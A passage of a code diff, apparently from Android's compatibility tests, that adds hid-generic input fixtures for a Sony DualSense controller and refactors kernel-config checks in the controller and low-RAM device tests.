+ {
+ "name": "Press BUTTON_B",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x48, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_B"},
+ {"action": "UP", "keycode": "BUTTON_B"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_X",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x18, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_X"},
+ {"action": "UP", "keycode": "BUTTON_X"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_Y",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x88, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_Y"},
+ {"action": "UP", "keycode": "BUTTON_Y"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_L1",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x01, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_L1"},
+ {"action": "UP", "keycode": "BUTTON_L1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_R1",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x02, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_R1"},
+ {"action": "UP", "keycode": "BUTTON_R1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_L2",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x04, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_L2"},
+ {"action": "UP", "keycode": "BUTTON_L2"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_R2",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x08, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_R2"},
+ {"action": "UP", "keycode": "BUTTON_R2"}
+ ]
+ },
+
+ {
+ "name": "Press left thumb button",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x40, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+ {"action": "UP", "keycode": "BUTTON_THUMBL"}
+ ]
+ },
+
+ {
+ "name": "Press right thumb button",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x80, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+ {"action": "UP", "keycode": "BUTTON_THUMBR"}
+ ]
+ },
+
+ {
+ "name": "Press 'share' ('sun rays' on the left of touchpad) button",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x10, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+ {"action": "UP", "keycode": "BUTTON_SELECT"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_OPTIONS (three horizontal bars right of touchpad)",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x20, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_START"},
+ {"action": "UP", "keycode": "BUTTON_START"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_PS",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x35, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x38, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_MODE"},
+ {"action": "UP", "keycode": "BUTTON_MODE"}
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json
new file mode 100644
index 0000000..1df0e5d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json
@@ -0,0 +1,213 @@
+[
+ {
+ "name": "Initial check - should not produce any events",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ ]
+ },
+
+ {
+ "name": "Press left DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Press right DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Press up DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Press down DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press left",
+ "reports": [
+ [0x01, 0x40, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_X": -1}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press right",
+ "reports": [
+ [0x01, 0xbf, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_X": 1}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press up",
+ "reports": [
+ [0x01, 0x80, 0x40, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press down",
+ "reports": [
+ [0x01, 0x80, 0xbf, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press left",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x40, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press right",
+ "reports": [
+ [0x01, 0x80, 0x80, 0xbf, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press up",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x40, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press down",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0xbf, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+ ]
+ },
+
+ {
+ "name": "Left trigger - quick press",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x80, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0xff, 0x00],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+ ]
+ },
+
+ {
+ "name": "Right trigger - quick press",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x80],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
index 3d4f9e8..d7aa81e 100644
--- a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
@@ -5,7 +5,7 @@
"vid": 0x054c,
"pid": 0x0ce6,
"bus": "bluetooth",
- "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+ "source": "KEYBOARD | GAMEPAD | JOYSTICK",
"descriptor": [
0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15, 0x00, 0x25,
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
index e40d5a6..f551931 100644
--- a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
@@ -5,7 +5,7 @@
"vid": 0x054c,
"pid": 0x0ce6,
"bus": "usb",
- "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+ "source": "KEYBOARD | GAMEPAD | JOYSTICK",
"descriptor": [
0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0x06,
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index a9ddfc7..cded9f5 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -28,6 +28,7 @@
import static android.util.DisplayMetrics.DENSITY_TV;
import static android.util.DisplayMetrics.DENSITY_XHIGH;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@@ -172,6 +173,15 @@
}
}
+ @Test
+ @CddTest(requirement = "7.6.1/H-1-1")
+ public void test32BitOnlyIfLessThan2GiB() {
+ if (getTotalMemory() < 2048 * ONE_MEGABYTE) {
+ assertEquals("Devices with less than 2GiB MUST support only 32-bit ABIs",
+ 0, Build.SUPPORTED_64_BIT_ABIS.length);
+ }
+ }
+
/**
* @return the total memory accessible by the kernel as defined by
* {@code ActivityManager.MemoryInfo}.
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index 07a080a..0b5afc3 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -39,10 +39,7 @@
import android.os.VibrationEffect;
import android.os.Vibrator;
import android.os.Vibrator.OnVibratorStateChangedListener;
-import android.os.VintfRuntimeInfo;
-import android.text.TextUtils;
import android.util.Log;
-import android.util.Pair;
import android.view.InputDevice;
import androidx.annotation.CallSuper;
@@ -63,8 +60,6 @@
import java.util.Arrays;
import java.util.List;
import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
public class InputHidTestCase extends InputTestCase {
private static final String TAG = "InputHidTestCase";
@@ -106,43 +101,15 @@
mDelayAfterSetup = true;
}
+ protected int getAdditionalSources() {
+ return 0;
+ }
+
/** Check if input device has specific capability */
interface Capability {
boolean check(InputDevice inputDevice);
}
- private static Pair<Integer, Integer> getVersionFromString(String version) {
- // Only gets major and minor number of the version string.
- final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
- final Matcher m = versionPattern.matcher(version);
- if (m.matches()) {
- final int major = Integer.parseInt(m.group(1));
- final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
-
- return new Pair<>(major, minor);
-
- } else {
- fail("Cannot parse kernel version: " + version);
- return new Pair<>(0, 0);
- }
- }
-
- private static int compareMajorMinorVersion(final String s1, final String s2) throws Exception {
- final Pair<Integer, Integer> v1 = getVersionFromString(s1);
- final Pair<Integer, Integer> v2 = getVersionFromString(s2);
-
- if (v1.first == v2.first) {
- return Integer.compare(v1.second, v2.second);
- } else {
- return Integer.compare(v1.first, v2.first);
- }
- }
-
- protected static boolean isKernelVersionGreaterThan(String version) throws Exception {
- final String actualVersion = VintfRuntimeInfo.getKernelVersion();
- return compareMajorMinorVersion(actualVersion, version) > 0;
- }
-
/** Gets an input device with specific capability */
private InputDevice getInputDevice(Capability capability) {
final InputManager inputManager =
@@ -202,8 +169,8 @@
protected void setUpDevice(int id, int vendorId, int productId, int sources,
String registerCommand) {
mDeviceId = id;
- mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId, sources,
- registerCommand);
+ mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId,
+ sources | getAdditionalSources(), registerCommand);
assertNotNull(mHidDevice);
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 209b912..841f161 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -43,7 +43,10 @@
import org.junit.Rule;
import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
import java.util.List;
+import java.util.Set;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
@@ -53,6 +56,13 @@
private static final String TAG = "InputTestCase";
private static final float TOLERANCE = 0.005f;
+ // Ignore comparing input values for these axes. This is used to prevent breakages caused by
+ // OEMs using custom key layouts to remap GAS/BRAKE to RTRIGGER/LTRIGGER (for example,
+ // b/197062720).
+ private static final Set<Integer> IGNORE_AXES = new HashSet<>(Arrays.asList(
+ MotionEvent.AXIS_LTRIGGER, MotionEvent.AXIS_RTRIGGER,
+ MotionEvent.AXIS_GAS, MotionEvent.AXIS_BRAKE));
+
private final BlockingQueue<InputEvent> mEvents;
protected final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -176,6 +186,7 @@
void assertAxis(String testCase, MotionEvent expectedEvent, MotionEvent actualEvent) {
for (int i = 0; i < actualEvent.getPointerCount(); i++) {
for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+ if (IGNORE_AXES.contains(axis)) continue;
assertEquals(testCase + " pointer " + i
+ " (" + MotionEvent.axisToString(axis) + ")",
expectedEvent.getAxisValue(axis, i), actualEvent.getAxisValue(axis, i),
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
index e42e2ae..bed7f6a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
@@ -16,17 +16,21 @@
package android.hardware.input.cts.tests;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.hardware.cts.R;
+import android.view.InputDevice;
import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
+import androidx.test.filters.MediumTest;
+
+import com.android.cts.kernelinfo.KernelInfo;
import org.junit.Test;
import org.junit.runner.RunWith;
-@SmallTest
+@MediumTest
@RunWith(AndroidJUnit4.class)
public class SonyDualSenseBluetoothTest extends InputHidTestCase {
@@ -36,24 +40,47 @@
}
@Override
- public void setUp() throws Exception {
- // Do not run this test for kernel versions 4.19 and below
- assumeTrue(isKernelVersionGreaterThan("4.19"));
- super.setUp();
+ protected int getAdditionalSources() {
+ if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+ return InputDevice.SOURCE_MOUSE | InputDevice.SOURCE_SENSOR;
+ }
+ return 0;
+ }
+
+ /**
+ * Basic support is required on all kernels. After kernel 4.19, devices must have
+ * CONFIG_HID_PLAYSTATION enabled, which supports advanced features like haptics.
+ */
+ @Test
+ public void kernelModule() {
+ if (KernelInfo.isKernelVersionGreaterThan("4.19")) {
+ assertTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
+ }
+ assertTrue(KernelInfo.hasConfig("CONFIG_HID_GENERIC"));
}
@Test
public void testAllKeys() {
- testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+ if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+ testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+ } else {
+ testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests_hid_generic);
+ }
}
@Test
public void testAllMotions() {
- testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+ if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+ testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+ } else {
+ testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests_hid_generic);
+ }
}
@Test
public void testVibrator() throws Exception {
+ // hid-generic does not support vibration for this device
+ assumeTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
testInputVibratorEvents(R.raw.sony_dualsense_bluetooth_vibratortests);
}
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
index 2c31b8f..65d3f78 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
@@ -19,10 +19,13 @@
import static org.junit.Assume.assumeTrue;
import android.hardware.cts.R;
+import android.view.InputDevice;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.cts.kernelinfo.KernelInfo;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -36,10 +39,11 @@
}
@Override
- public void setUp() throws Exception {
- // Do not run this test for kernel versions 4.19 and below
- assumeTrue(isKernelVersionGreaterThan("4.19"));
- super.setUp();
+ protected int getAdditionalSources() {
+ if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+ return InputDevice.SOURCE_MOUSE | InputDevice.SOURCE_SENSOR;
+ }
+ return 0;
}
@Test
@@ -54,6 +58,8 @@
@Test
public void testVibrator() throws Exception {
+ assumeTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
testInputVibratorEvents(R.raw.sony_dualsense_usb_vibratortests);
+ // hid-generic does not support vibration for this device
}
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index 547a337..d8f339a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -23,6 +23,8 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.cts.kernelinfo.KernelInfo;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -47,7 +49,7 @@
@Test
public void testVibrator() throws Exception {
- assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+ assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index 0a1f04a..84d8abc 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -23,6 +23,8 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.cts.kernelinfo.KernelInfo;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -47,7 +49,7 @@
@Test
public void testVibrator() throws Exception {
- assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+ assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index 08ece8e..0f6f53b 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -16,6 +16,7 @@
package android.hardware.input.cts.tests;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.hardware.cts.R;
@@ -23,6 +24,8 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.cts.kernelinfo.KernelInfo;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -36,6 +39,18 @@
}
@Test
+ public void kernelModule() {
+ /**
+ * Basic support is required on all kernels. After kernel 4.19, devices must have
+ * CONFIG_HID_SONY enabled, which supports advanced features like haptics.
+ */
+ if (KernelInfo.isKernelVersionGreaterThan("4.19")) {
+ assertTrue(KernelInfo.hasConfig("CONFIG_HID_SONY"));
+ }
+ assertTrue(KernelInfo.hasConfig("CONFIG_HID_GENERIC"));
+ }
+
+ @Test
public void testAllKeys() {
testInputEvents(R.raw.sony_dualshock4_usb_keyeventtests);
}
@@ -52,7 +67,8 @@
@Test
public void testVibrator() throws Exception {
- assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+ // hid-generic and older HID_SONY drivers don't support vibration
+ assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
}
}
